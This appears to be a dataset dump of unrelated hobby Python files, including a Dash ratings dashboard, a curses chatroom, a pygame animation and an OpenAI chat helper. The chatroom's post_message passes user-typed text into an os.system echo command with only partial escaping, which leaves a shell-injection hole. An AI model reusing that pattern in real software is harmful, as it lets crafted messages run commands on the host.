fname[-4:])\r\n        self.set_pixmap(fname[:-4] + '_new' + fname[-4:])\r\n\r\n    def set_pixmap(self, fname):\r\n        print('setting photo...')\r\n        pixmap = QtGui.QPixmap(fname)\r\n        pixmap2 = pixmap.scaledToHeight(1024)\r\n        self.label.setPixmap(pixmap2)\r\n\r\nif __name__ == '__main__':\r\n    app = QtWidgets.QApplication(sys.argv)\r\n    app.setWindowIcon(QtGui.QIcon('icon.png'))\r\n    window = MyWindow()\r\n    window.setWindowIcon(QtGui.QIcon('icon.png'))\r\n    window.show()\r\n    sys.exit(app.exec())\r\n","repo_name":"EkaterinaUtesheva/Bears","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3448905835","text":"#library\nimport os\nimport pathlib\nfrom dash_bootstrap_components._components.Card import Card\nimport numpy as np\nfrom math import pow, sqrt\nfrom scipy.sparse import csr_matrix\nfrom sklearn.neighbors import NearestNeighbors\nfrom dash.dependencies import Input, Output, State\nfrom sklearn.decomposition import PCA\nimport plotly.graph_objs as go\nimport dash_daq as daq\nimport plotly.graph_objects as go\nfrom dash_bootstrap_components._components.Col import Col\nfrom dash_bootstrap_components._components.Row import Row\nimport pandas as pd\nimport dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash_extensions import Lottie \nimport plotly.express as px\nimport plotly.figure_factory as ff\nfrom wordcloud import WordCloud \nimport dash_bootstrap_components as dbc\nimport dash_table\n\nratingss=pd.read_csv('D:/retour/recommendation/ratingg.csv',index_col=0)\nproducts=pd.read_csv('D:/retour/recommendation/products1.csv')\nuser=pd.read_csv('D:/retour/recommendation/user1.csv')\ntime=pd.read_csv('D:/retour/recommendation/time_serie.csv')\n\noptions = dict(loop=True, autoplay=True, rendererSettings=dict(preserveAspectRatio='xMidYMid slice'))\n#lutties\nurl_1='https://assets1.lottiefiles.com/packages/lf20_xtzoykx4.json'\nurl_2='https://assets1.lottiefiles.com/packages/lf20_udjnduhz.json'\nurl_3='https://assets8.lottiefiles.com/packages/lf20_rrw4rw07.json'\n\n\n\napp = dash.Dash(\n    __name__,\n    external_stylesheets=[dbc.themes.SKETCHY],\n)\n\n\n\napp.layout = dbc.Container([\n    \n    dbc.Row([\n        dbc.Col([\n            \n        ], width=1),\n        dbc.Col([\n            dbc.Card([\n                dbc.CardHeader(Lottie(options=options, width=\"100%\", height=\"100%\", url=url_3)),\n                dbc.CardBody([\n                    html.H6('Brand'),\n                    dcc.Dropdown(\n                        id='brand_id',\n                        options=[{'label': x, 'value': x}\n                            for x in products['brand'].unique()],     \n                        value='Adidas',\n\n                        style={'width' : '100%',\n                            'text-align': 'center',\n                            }\n                        \n                    ),\n                ], style={'textAlign':'center'})\n            ]),\n        ], width=2),\n        \n        dbc.Col([\n            dbc.Card([\n                dbc.CardHeader(Lottie(options=options, width=\"100%\", height=\"100%\", url=url_1)),\n                dbc.CardBody([\n                    html.H6('Products'),\n                    html.H2(id='content-connections1')\n                ], style={'textAlign': 'center'})\n            ]),\n        ], width=2),\n\n        dbc.Col([\n            dbc.Card([\n                dbc.CardHeader(Lottie(options=options, width=\"100%\", height=\"100%\", url=url_2)),\n                dbc.CardBody([\n                    html.H6('Ratings'),\n                    html.H2(id='content-connections2')\n                ], style={'textAlign':'center'})\n            ]),\n        ], width=2),\n\n        dbc.Card([\n            html.H3('Top 5 pickers'),\n                dcc.Dropdown(\n                    id='user_id',\n                    options=[{'label': x, 'value': x}\n                        for x in user['user_id'].unique()],     \n                    value=5,\n\n                    style={'width' : '100%',\n                        'text-align': 'center',\n                        }\n                    \n                ),\n            ]),\n                    \n                \n            dbc.Card([]),\n\n            dbc.Card([\n            html.H3('Select a product'),\n                dcc.Dropdown(\n                    id='name_id',\n                    options=[{'label': x, 'value': x}\n                        for x in products['name'].unique()],     \n                    value='Sport Inspired Duramo Lite 2.0 Shoes',\n\n                    style={'width' : '100%',\n                        'text-align': 'center',\n                        }\n                    \n                ),\n            ]),\n        \n        \n    ],className='mb-2'),\n    dbc.Row([\n        dbc.Col([\n            \n        ], width=1),\n        \n        dbc.Col([\n            dbc.Card([\n                    html.H3('Most popular products'),\n                    dcc.Graph(id=\"wordcloud\",figure={}),\n                dbc.CardBody([\n                    \n                ])\n            ]),\n        ], width=3),\n        dbc.Col([\n            dbc.Card([\n                    html.H3('Competitors performance'),\n                    dcc.Graph(id=\"Scatter plot\",figure={}),\n                dbc.CardBody([\n                   \n                ])\n            ]),\n        ], width=7),\n\n        \n    \n    ],className='mb-2'),\n    \n    dbc.Row([\n        dbc.Col([\n            \n        ], width=1),\n        dbc.Col([\n            dbc.Card([\n               \n                dbc.CardBody([\n                    html.H3('Age distribution'),\n                    dcc.Graph(id=\"bar_knn\",figure={})\n                ])\n            ]),\n        ], width=3),\n        dbc.Col([\n            dbc.Card([\n                dbc.CardBody([\n                    html.H3('Score distribution'),\n                    dcc.Dropdown(\n                        id='sex',\n                        options=[{'label': x, 'value': x}\n                            for x in user['sex'].unique()],     \n                        value='F',\n\n                        style={'width' : '100%',\n                            'text-align': 'center',\n                            }\n                        \n                    ),\n                    dcc.Graph(id=\"scatte\",figure={})\n                    \n                ])\n            ]),\n        ], width=3),\n\n        dbc.Col([\n            dbc.Card([\n               \n                dbc.CardBody([\n                    html.H3('Gender'),\n                    dcc.Graph(id=\"sexpie\",figure={})\n                ])\n            ]),\n        ], width=5),\n        \n    ],className='mb-2'),\n\n     dbc.Row([\n        \n        \n\n        dbc.Col([\n            dbc.Card([\n               \n                dbc.CardBody([\n                    html.H3('Localisation'),\n                    dcc.Graph(id=\"map\",figure={})\n                ])\n            ]),\n        ], width=6),\n        dbc.Col([\n            dbc.Card([\n               \n                dbc.CardBody([\n                    html.H3('Rating trend'),\n                    dcc.Graph(id=\"time_seri\",figure={})\n                ])\n            ]),\n        ], width=6),\n        \n    ],className='mb-2'),\n\n], fluid=True)\n\n#-------------------\n@app.callback(\n    \n    Output('content-connections1','children'),\n    [Input(component_id='brand_id', component_property='value')]\n)\n\ndef leng(tweet):\n    return(len(products.loc[products.brand==tweet]))\n\n@app.callback(\n    \n    Output('content-connections2','children'),\n    [Input(component_id='brand_id', component_property='value')]\n)\n\ndef rat(tweet):\n    ratings=ratingss.copy()\n    ratings['user_avg_rating'] = ratings.groupby('product_id')['rating'].transform('mean').round(2)\n    df=pd.merge(ratings,products,left_on='product_id',right_on='ID_product')\n    df1=df[df['brand']=='Adidas']\n    return(len(df1.rating))\n\n\n#Worldcloud-----------------------------------------\n\n@app.callback(\n    \n    Output('wordcloud','figure'),\n    [Input(component_id='brand_id', component_property='value')]\n)\n\ndef update_worldcloud( tweet):\n     \n    ratings=ratingss.copy()\n    ratings['user_avg_rating'] = ratings.groupby('product_id')['rating'].transform('mean').round(2)\n    df=pd.merge(ratings,products,left_on='product_id',right_on='ID_product')\n    df1=df[df['brand']==tweet]\n    df2=df1[['user_avg_rating','name']]\n    df3=df2.drop_duplicates()\n    df4=df3.sort_values(by=['user_avg_rating'],ascending=False)\n\n    my_wordcloud = WordCloud(\n        background_color='white',\n        height=500\n    ).generate(''.join( df4.name))\n\n    fig_wordcloud = px.imshow(my_wordcloud, template='ggplot2')\n    fig_wordcloud.update_layout(margin=dict(l=20, r=20, t=30, b=20))\n    fig_wordcloud.update_xaxes(visible=False)\n    fig_wordcloud.update_yaxes(visible=False)\n\n    return fig_wordcloud\n\n\n@app.callback(\n    \n    Output('Scatter plot','figure'),\n    [Input(component_id='name_id', component_property='value')], \n    [Input(component_id='brand_id', component_property='value')]\n    \n)\n\ndef branding(name,brand):\n    ratings=ratingss.copy()\n    ratings['user_avg_rating'] = ratings.groupby('product_id')['rating'].transform('mean').round(2)\n    df=pd.merge(ratings,products,left_on='product_id',right_on='ID_product')\n    df1=df[df['name']==name]\n\n    df2=df1[['user_avg_rating','brand']]\n    df2['Score']=df2['user_avg_rating']*20\n    df3=df2.drop_duplicates()\n    df4=df3.sort_values(by=['Score'],ascending=False)\n    df4['rank']=[1, 2, 3, 4,5,6,7,8]\n    rank=df4[df4.brand == brand]['rank'].values\n    df5=df4[df4.brand==brand]\n    df4['Brand']=df4['brand']\n    \n    if brand in df4[:5].Brand.values:\n        \n        fig = px.bar(df4[:5],\n                     x=\"Score\",\n                     y='Brand',\n                     #range_x=[0,100],\n                     range_x=[0,100],\n                     color='Brand'\n                     )\n    else:\n        fig = px.bar(df4[:5],\n                     x=\"Score\",\n                     y='Brand',\n                     #range_x=[0,100],\n                     range_x=[0,100],\n                     color='Brand'\n                     )\n        fig.update_layout(\n            height=500,\n            title_text='The brand is ranked '+str(rank)[1:2]+', with a average rating of '+ str(df5.Score.values)[1:3]+'%'\n        )\n    return(fig)\n\n\n@app.callback(\n    \n    Output('bar_knn','figure'),\n    [Input(component_id='brand_id', component_property='value')],\n    [Input('sex','value')]\n)\n\n\ndef update_pie(tweet1,tweet2):\n    ratings=ratingss.copy()\n    ratings['user_avg_rating'] = ratings.groupby('product_id')['rating'].transform('mean').round(2)\n    df=pd.merge(ratings,products,left_on='product_id',right_on='ID_product')\n    df1=df[df['brand']==tweet1]\n    df2=pd.merge(df1,user,on='user_id')\n    dff=df2.loc[df2.sex==tweet2]\n    fig_pie =px.pie(\n        dff,\n        values='age', \n        \n        names=dff.age,\n        hole=.5,\n        color_discrete_sequence=['maroon','red','coral']\n        )\n    return(fig_pie)\n\n@app.callback(\n    \n    Output('scatte','figure'),\n    [Input(component_id='brand_id', component_property='value')],\n    [Input('user_id','value')]\n)\n\ndef update_pie(name,tweet):\n    ratings=ratingss.copy()\n    ratings['user_avg_rating'] = ratings.groupby('product_id')['rating'].transform('mean').round(2)\n    df=pd.merge(ratings,products,left_on='product_id',right_on='ID_product')\n    df1=df[df['brand']==name]\n    df1['pourcen']=df1['rating']*20\n    df2=pd.merge(df1,user,on='user_id')\n    \n    dff=df2.loc[df2['user_id']==tweet]\n    fig_pie =px.pie(\n            dff,\n            values='pourcen', \n            names=dff.pourcen,\n            hole=.5,\n            color_discrete_sequence=['deeppink','darkviolet']\n            )\n    return(fig_pie)\n\n@app.callback(\n    \n    Output('map','figure'),\n    [Input(component_id='brand_id', component_property='value')],\n    [Input('user_id','value')]\n)\n\ndef map(name, tweet):\n    ratings=ratingss.copy()\n    ratings['user_avg_rating'] = ratings.groupby('product_id')['rating'].transform('mean').round(2)\n    df=pd.merge(ratings,products,left_on='product_id',right_on='ID_product')\n    df1=df[df['brand']==name]\n    df2=pd.merge(df1,user,on='user_id')\n    dff=df2.loc[df2.user_id==tweet]\n    dff['count']=dff.groupby('iso_id')['iso_id'].transform(len)\n\n\n    fig = px.scatter_geo(dff, locations=\"iso_id\",hover_name=\"Residence\",size='count',\n                     projection=\"natural earth\")\n    return(fig)\n\n@app.callback(\n    \n    Output('sexpie','figure'),\n    [Input(component_id='brand_id', component_property='value')]\n)\n\ndef update_pie(tweet1):\n    ratings=ratingss.copy()\n    ratings['user_avg_rating'] = ratings.groupby('product_id')['rating'].transform('mean').round(2)\n    df=pd.merge(ratings,products,left_on='product_id',right_on='ID_product')\n    df1=df[df['brand']==tweet1]\n    dff=pd.merge(df1,user,on='user_id')\n    dfff=dff['sex'].value_counts()\n    fig_pie =px.pie(\n            dfff,\n            values='sex',\n            names=dfff.index,\n            hole=.5,\n            color_discrete_sequence=['gold','lemonchiffon']\n            )\n    return(fig_pie)\n\n@app.callback(\n    \n    Output('time_seri','figure'),\n    [Input(component_id='brand_id', component_property='value')]\n)\n\ndef time_serie(brand):\n    times=time.copy()\n    times=times[times['brand']==brand]\n    times['pourcen']=times['rating']*20\n    fig = go.Figure([go.Scatter(x=times['day'], y=times['pourcen'])])\n    return(fig)\n\n# Running the server\nif __name__ == \"__main__\":\n    app.run_server(debug=True)","repo_name":"hamzalgz/Product-Recommendation-System","sub_path":"cluster code/dashboa2.py","file_name":"dashboa2.py","file_ext":"py","file_size_in_byte":12798,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"4862519671","text":"from KarmaLego.KarmaLegoCD.RunKarmaLegoCD import runKarmaLegoCD\n\n\nclass_a_path='../KarmaLego_TestsData/DiabetesEQW_3_Class0_short.csv'\nclass_b_path='../KarmaLego_TestsData/DiabetesEQW_3_Class1_short.csv'\nmin_ver_support=0.5\nnum_relations=7\nmax_gap=15\nmin_vs_gap=0.1\nalpha=0.05\nweights=[0.5,0.2,0.1,0.1]\nrunKarmaLegoCD(class_a_path=class_a_path,class_b_path=class_b_path,min_ver_support=min_ver_support\n               ,num_relations=num_relations,max_gap=max_gap,min_vs_gap=min_ver_support,alpha=alpha,weights=weights)\n","repo_name":"danielrbk/Discretisation","sub_path":"KarmaLego/KarmaLegoCD_Tests/KarmaLegoCD_Tests.py","file_name":"KarmaLegoCD_Tests.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"15836132563","text":"def parse_data(puzzle_input: str) -> list[str]:\n    return [n for n in puzzle_input.strip().split(\",\") if n != \"\\n\"]\n\n\n\"\"\"\n    -r      q    \n      \\.n  /\n    nw +--+ ne\n      /    \\.\n  s -+      +- -s\n      \\.   /\n    sw +--+ se\n      / s  \\.\n    -q      r\n\n    (q,r,s)\n\"\"\"\n\n\nDIRECTIONS = {\n    \"n\": (1, -1, 0),\n    \"ne\": (1, 0, -1),\n    \"se\": (0, 1, -1),\n    \"s\": (-1, 1, 0),\n    \"sw\": (-1, 0, 1),\n    \"nw\": (0, -1, 1),\n}\n\n\ndef move_hex(moves: list[str]) -> tuple[int, int, int]:\n    pos = [(0, 0, 0)]\n\n    for m in moves:\n        moving = DIRECTIONS[m]\n        pos.append(tuple(sum(z) for z in zip(pos[-1], moving)))\n    return pos\n\n\ndef distance(pos: tuple[int, int, int]) -> int:\n    return sum(abs(p) for p in pos) / 2\n\n\ndef solution_1(puzzle_input: str):\n    moves = parse_data(puzzle_input)\n    pos = move_hex(moves)\n    return distance(pos[-1])\n\n\ndef solution_2(puzzle_input: str):\n    moves = parse_data(puzzle_input)\n    pos = move_hex(moves)\n    return max(distance(p) for p in pos)\n","repo_name":"CptCookie/AOC","sub_path":"Python/Year2017/Day11/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"39799397699","text":"import _thread\nimport time\nimport curses\n# import term_io as ti\nimport subprocess as sp\nimport os\n# Define a function for the thread\n# import re\n\n\nclass chatroom:\n    def __init__(self, name=\"default\"):\n        self.name = name\n        stdscr = curses.initscr()\n        curses.cbreak()\n        curses.noecho()\n        stdscr.keypad(1)\n        curses.start_color()\n        stdscr.erase()\n\n        height, width = stdscr.getmaxyx()\n        self.running = True\n        self.input_width = width - 10\n\n        self.name_win = curses.newwin(1, 7, 1, 1)\n        self.name_win.addstr(\"INPUT:\", curses.A_STANDOUT)\n        self.name_win.refresh()\n\n        self.man_win = curses.newwin(2, width, 3, 1)\n        self.man_win.addstr(\n            \"press ENTER to send message. BACKSPACE to modify. type \\\"exit\\\" and ENTER to exit...\", curses.A_DIM)\n        self.man_win.refresh()\n        self.input_win = curses.newwin(1, self.input_width, 1, 9)\n        self.log_win = curses.newwin(min(40, height - 6), width - 2, 5, 1)\n        self.log_win.scrollok(True)\n        self.log_win.box()\n\n        try:\n            _thread.start_new_thread(self.timer1, (\"Thread-1\", 0.5, ))\n        except:\n            print(\"Error: unable to start thread\")\n\n    def close(self):\n        self.running = False\n        time.sleep(1)\n        curses.endwin()\n\n    def timer1(self, threadName, delay):\n        while self.running:\n            time.sleep(delay)\n            self.log_win.clear()\n            chatlog = sp.check_output(\n                ['tail', '-n', '40', 'vending_accounts/chat.log']).decode(\"utf-8\")\n            # self.log_win.addstr(\"%s: %s\\n\" % ( threadName, time.ctime(time.time()) ))\n            self.log_win.addstr(chatlog)\n            self.log_win.refresh()\n\n\ndef post_message(name=\"default\", message=\"xxx\"):\n    output = \"[\" + time.ctime(time.time())[\n        4:-8] + \"] \" + name + \": \" + message.replace(\"\\\\\", \"\\\\\\\\\").replace(\"\\\"\", \"\\\\\\\"\")\n    os.system(\"echo \\\"\" + output\n              + \"\\\" >> vending_accounts/chat.log\")\n\n\ndef run_chatroom(name=\"default\"):\n    room = chatroom(name)\n    cursor = 0\n    square = \"|\"\n    inputstr = \"\"\n    post_message(name, \"< Came to the message board. >\")\n    # room.input_win.nodelay(1)\n    while 1:\n        room.input_win.clear()\n        room.input_win.addstr(inputstr, curses.A_BOLD)\n        # room.input_win.refresh()\n        # time.sleep(0.2)\n        room.input_win.addstr(square, curses.A_BLINK)\n        # time.sleep(0.2)\n        room.input_win.refresh()\n        char = room.input_win.getch()\n        if char in [curses.KEY_ENTER, ord('\\n')]:\n            if inputstr.upper() in [\"EXIT\", \"QUIT\"]:\n                post_message(name, \"< Walked away... >\")\n                room.close()\n                return\n            post_message(name, inputstr)\n            cursor = 0\n            inputstr = \"\"\n        elif char in [127, ord('\\b'), curses.KEY_BACKSPACE, 'KEY_BACKSPACE', '\\b', '\\x7f']:\n            if cursor > 0:\n                cursor -= 1\n                inputstr = inputstr[:-1]\n        elif char != -1:\n            if cursor < room.input_width - 3:\n                if char == 27:\n                    room.input_win.getch()\n                    room.input_win.getch()\n                else:\n                    inputstr += chr(char)\n                    cursor += 1\n\n\ndef main():\n    run_chatroom(\"Test\")\n    # print(file_num)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"GaryDoooo/emoji_game","sub_path":"chatroom.py","file_name":"chatroom.py","file_ext":"py","file_size_in_byte":3392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"72185724199","text":"import os\nimport traceback\nimport openai\nfrom openai.error import OpenAIError\nfrom dotenv import load_dotenv\nload_dotenv()\n\n# Read environment variables\nopenai_model = os.getenv('OPENAI_API_MODEL')\nopenai.api_key = os.getenv('OPENAI_API_KEY')\nprint(openai_model)\nasync def generate_response(messages):\n    try:\n        async for chunk in await openai.ChatCompletion.acreate(\n                model=openai_model,\n                temperature=0,\n                top_p=0.9,\n                messages=messages,\n                max_tokens=8000,\n                stream=True\n        ):\n            content = chunk['choices'][0]['delta'].get('content', '')\n            if content:\n                yield content\n    except OpenAIError as e:\n        traceback.print_exc()\n        yield f\"EXCEPTION {str(e)}\"\n    except Exception as e:\n        yield f\"EXCEPTION {str(e)}\"\n\nasync def run_conversation(messages, message_placeholder, markdown = True):\n    full_response = \"\"\n    if markdown:\n        message_placeholder.markdown(\"Thinking...\")\n    chunks = generate_response(messages)\n    chunk = await anext(chunks, \"END OF CHAT\")\n    while chunk != \"END OF CHAT\":\n        if chunk.startswith(\"EXCEPTION\"):\n            full_response = \":red[We are having trouble generating advice.  Please wait a minute and try again.]\"\n            break\n        full_response = full_response + chunk\n        if markdown:\n            message_placeholder.markdown(full_response + \"▌\")\n        chunk = await anext(chunks, \"END OF CHAT\")\n    if markdown:\n        message_placeholder.markdown(full_response)\n    messages.append({\"role\": \"assistant\", \"content\": full_response})\n    return messages\n\n\n","repo_name":"danielnashed/HopHacks2023","sub_path":"services/llm.py","file_name":"llm.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"10144049620","text":"\"\"\"\n Pygame base template for opening a window\n \n Sample Python/Pygame Programs\n Simpson College Computer Science\n http://programarcadegames.com/\n http://simpson.edu/computer-science/\n \n Explanation video: http://youtu.be/vRB_983kUMc\n\"\"\"\n \nimport pygame\n\n \n# Define some colors\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nGREEN = (0, 255, 0)\nRED = (255, 0, 0)\nBLUE = (0, 0, 255)\nGREY = (211, 211, 211)\nRED = (255, 0, 0)\nGREEN2 = (0, 100, 0)\nGREY2 = (139, 137, 137)\nPINK = (255,171,244)\nBROWN = (89,71,0)\nYELLOW = (255,204,0)\nCYAN = (0, 255, 255)\nPURPLE = (160, 32, 240)\nORANGE = (255, 140, 0)\nDARKGREY = (100, 100, 100)\n\n\n#DEF DRAWINGS\ndef draw_house(COL, x, y):\n    pygame.draw.rect(screen,COL,(x,y-100,200,100))\n    pygame.draw.rect(screen,BROWN,(x+80,y-60,40,60))\n    pygame.draw.circle(screen,YELLOW,(x+112,y-30),4)\n    pygame.draw.polygon(screen, (125,125,125), ((x,y-100),(x+100,y-170),(x+200,y-100) ) )  \ndef draw_back(screen, x, y, change):\n    pygame.draw.rect(screen, GREY2, [x, y+200, x+1400, y+75])\n    pygame.draw.rect(screen, GREY2, [x, y+500, x+1400, y+75]) \n    pygame.draw.rect(screen, GREY2, [x+700, y, x+100, y+400])\n    pygame.draw.rect(screen, GREY2, [x+650, y+600, x+100, y+800]) \n    pygame.draw.circle(screen, GREY2, (x+700, y+550), 200)\n    pygame.draw.circle(screen, BLACK, (x+700, y+550), 50)\n    pygame.draw.rect(screen, DARKGREY, [x, y+575, x+400, y+500])\n    for i in range(3):\n        for i in range(3):\n            pygame.draw.line(screen, WHITE, (x, y+1000), (x, y+950), 5)\n            x += change\n        x = 1\n        y -= (375/2)\ndef draw_car(screen, x, y):\n    pygame.draw.rect(screen, BLACK, [x, y, 100, 30])\n    pygame.draw.rect(screen, BLACK, [x+100, y+10, 10, 8])\n    pygame.draw.line(screen, BLACK, (x+100, y+5), (x+130, y+25), 10)\n    pygame.draw.line(screen, BLACK, (x+100, y+25), (x+130, y+24), 10)\n    pygame.draw.ellipse(screen, BLACK, [x, y+30, 25, 25], 10)\n    pygame.draw.ellipse(screen, BLACK, [x+75, y+30, 25, 25], 10)\n    pygame.draw.line(screen, GREEN, (x, y+20), (x+119, y+20), 5) \n    pygame.draw.line(screen, GREY, (x+95, y), (x+80, y-20), 5)\ndef draw_car2(screen, x, y):\n    pygame.draw.rect(screen, BLACK, [x, y, 100, 30])\n    pygame.draw.rect(screen, BLACK, [x-10, y+10, 10, 8])\n    pygame.draw.line(screen, BLACK, (x, y+5), (x-30, y+25), 10)\n    pygame.draw.line(screen, BLACK, (x, y+24), (x-30, y+24), 10)\n    pygame.draw.ellipse(screen, BLACK, [x, y+30, 25, 25], 10)\n    pygame.draw.ellipse(screen, BLACK, [x+75, y+30, 25, 25], 10)\n    pygame.draw.line(screen, RED, (x-20, y+20), (x+99, y+20), 5) \n    pygame.draw.line(screen, GREY, (x+5, y), (x+20, y-20), 5)\n    \n\n# Speed in pixels per frame\nx_speed = 0\ny_speed = 0\nx2 = 0\ny2 = 0\n\n# Current position\nx_coord = 10\ny_coord = 10\n\n\npygame.init()\n \n# Set the width and height of the screen [width, height]\nsize = (1200, 1000)\nscreen = pygame.display.set_mode(size)\n \npygame.display.set_caption(\"Animation\")\n\nxpos = 0\nypos = 0\n \n# Loop until the user clicks the close button.\ndone = False\n \n# Used to manage how fast the screen updates\nclock = pygame.time.Clock()\n \n# -------- Main Program Loop -----------\nwhile not done:\n    # --- Main event loop\n    for event in pygame.event.get():\n        if event.type == pygame.QUIT:\n            done = True\n            \n    pos = pygame.mouse.get_pos()\n    x1 = pos[0]\n    y1 = pos[1]     \n    pygame.mouse.set_visible(0)\n    \n    if event.type == pygame.KEYDOWN:\n        # Figure out if it was an arrow key. If so\n        # adjust speed.\n        if event.key == pygame.K_LEFT:\n            x_speed = -20\n        elif event.key == pygame.K_RIGHT:\n            x_speed = 20\n        elif event.key == pygame.K_UP:\n            y_speed = -20\n        elif event.key == pygame.K_DOWN:\n            y_speed = 20     \n            \n            \n    # User let up on a key\n    elif event.type == pygame.KEYUP:\n        # If it is an arrow key, reset vector back to zero\n        if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n            x_speed = 0\n        elif event.key == pygame.K_UP or event.key == pygame.K_DOWN:\n            y_speed = 0\n\n# Move the object according to the speed vector.\n    x_coord += x_speed\n    y_coord += y_speed\n    x1 += x2\n    y1 += y2\n    # If you want a background image, replace this clear with blit'ing the\n    # background image.\n    # --- Drawing code should go here\n  \n    \n    if y_coord > 950:\n        y_coord = 950\n    elif y1 > 950:\n        y1 = 50    \n    elif y_coord < 20:\n        y_coord = 20\n    elif y1 < 20:\n        y1 = 20 \n    if x1 > 1100:\n        x1 = 1100\n    elif x_coord < 0:\n        x_coord = 0\n    elif x_coord > 1100:\n        x_coord = 1100    \n    elif x1 < 0:\n        x1 = 0\n   \n    screen.fill(GREEN2)\n    draw_back(screen, 0, 0, 199)\n    draw_house(PINK, 50, 500)\n    draw_house(RED, 300, 500)\n    draw_house(GREEN, 950, 500)\n    draw_house(CYAN, 50, 200)\n    draw_house(PURPLE, 300, 200)\n    draw_house(ORANGE, 950, 200)               \n               \n    draw_car(screen, x_coord, y_coord)\n    draw_car2(screen, x1, y1)\n    \n\n        \n    # --- Go ahead and update the screen with what we've drawn.\n    pygame.display.flip()\n \n    # --- Limit to 60 frames per second\n    clock.tick(60)\n \n# Close the window and quit.\npygame.quit()","repo_name":"duncanp11111/Year_End2017","sub_path":"Lesson10Duncan.py","file_name":"Lesson10Duncan.py","file_ext":"py","file_size_in_byte":5241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23709837979","text":"import media\nimport fresh_tomatoes\n\n# instantiate Movie object for \"Aliens\"\naliens = media.Movie('Aliens',\n                     'The face suckers return!',\n                     'https://upload.wikimedia.org/wikipedia/en/f/fb/Aliens_'\n                     'poster.jpg',\n                     'https://www.youtube.com/watch?v=AW-7_HE98PY'\n                     )\n\n# instantiate Movie object for \"Conan The Barbarian\"\nconan_the_barbarian = media.Movie('Conan',\n                                  'Conan Slays.',\n                                  'https://upload.wikimedia.org/wikipedia/en/'\n                                  'c/cd/Conan_the_Barbarian_1982_film_poster'\n                                  '.jpg',\n                                  'https://www.youtube.com/watch?v=xwdYd_RdLCQ'\n                                  )\n\n# instantiate Movie object for \"The Man From Earth\"\nman_from_earth = media.Movie('The Man From Earth',\n                             'Cave man Professor lays'\n                             'down some philosophy of history.',\n                             'https://upload.wikimedia.org/wikipedia/en/3/3b/'\n                             'The_Man_from_Earth.png',\n                             'https://www.youtube.com/watch?v=lVMhEAI3pvg'\n                             )\n\n# instantiate Movie object for \"Interview With The Vampire\"\ninterview_with_a_vampire = media.Movie('Interview With The Vampire',\n                                       'The Vampire Tells All!',\n                                       'https://upload.wikimedia.org/wikipedia'\n                                       '/en/f/fe/InterviewwithaVampireMoviePos'\n                                       'te.JPG',\n                                       'https://www.youtube.com/watch?v=bDH7P'\n                                       '0qvSMU'\n                                       )\n\n# instantiate Movie object for \"Commando\"\ncommando = media.Movie('Commando',\n                       'Arnold plays Arnold.',\n                       'https://upload.wikimedia.org/wikipedia/en/d/d9/Command'\n                       'oposter.jpg',\n                       'https://www.youtube.com/watch?v=mh-QUh69MCg'\n                       )\n\n# instantiate Movie object for \"Army of Darkness\"\narmy_of_darkness = media.Movie('Army of Darkness',\n                               'Ash saves, then dooms, then saves the primitiv'\n                               'e screw heads.',\n                               'https://upload.wikimedia.org/wikipedia/en/4/46'\n                               '/Army_of_Darkness_poster.jpg',\n                               'https://www.youtube.com/watch?v=CZ-wU5RXw2o'\n                               )\n\n# create list of the movie objects created above\nmovies = [aliens, conan_the_barbarian, man_from_earth,\n          interview_with_a_vampire, commando, army_of_darkness]\n\n# pass the list of movie object into Fresh_Tomatoes and generate the website\n# using the movie objects created above.\nfresh_tomatoes.open_movies_page(movies)\n\n","repo_name":"mhhoban/ufswb_proj_1","sub_path":"entertainment_center.py","file_name":"entertainment_center.py","file_ext":"py","file_size_in_byte":3007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"71910901799","text":"\"\"\"\nThis has a mix of functions from different repos.\nNOTE: Naming this module \"utils\" at the top level will directly conflict with the \"utils\" module in the yolov5 repo\nso this must be given a different name\n\"\"\"\nimport logging\nimport math\nfrom io import BytesIO\nfrom pathlib import Path\nfrom zipfile import ZipFile\n\nimport httpx\nimport numpy as np\nfrom config import YOLOV5_DIR, YOLOV5_SRC_ZIP\n\n# Setup logger & environment variables\nlogger = logging.getLogger(__name__)\n\n\n# A simple function to download the yolov5 repo & set HEAD to the specific commit required by MegaDetector\ndef download_yolov5():\n    \"\"\"\n    This clones the yolov5 repo and sets it to a specific commit\n    This requires git to be installed underneath\n    \"\"\"\n    if Path(YOLOV5_DIR).exists():\n        logger.info(f\"{YOLOV5_DIR} already exists, skipping download\")\n    else:\n        logger.info(f\"{YOLOV5_DIR} already exists, skipping download\")\n        # Download a zipfile from the url and extract it in memory\n        try:\n            logger.info(f\"Downloading yolov5 source zip from {YOLOV5_SRC_ZIP}\")\n            response = httpx.get(YOLOV5_SRC_ZIP, follow_redirects=True)\n            zipfile = ZipFile(BytesIO(response.content))\n            zipfile.extractall(YOLOV5_DIR)\n        except Exception as e:\n            logger.error(f\"Error downloading yolov5 source zip: {e}\")\n            raise e\n\n\n# -------------------------------------------------------------------------------------------\n# This is copied directly from https://github.com/microsoft/CameraTraps/blob/main/ct_utils.py\n# -------------------------------------------------------------------------------------------\n\n\ndef truncate_float_array(xs, precision=3):\n    \"\"\"\n    Vectorized version of truncate_float(...)\n    Args:\n    x         (list of float) List of floats to truncate\n    precision (int)           The number of significant digits to preserve, should be\n                              greater or equal 1\n    \"\"\"\n\n    return [truncate_float(x, precision=precision) for x in xs]\n\n\ndef truncate_float(x, precision=3):\n    \"\"\"\n    Function for truncating a float scalar to the defined precision.\n    For example: truncate_float(0.0003214884) --> 0.000321\n    This 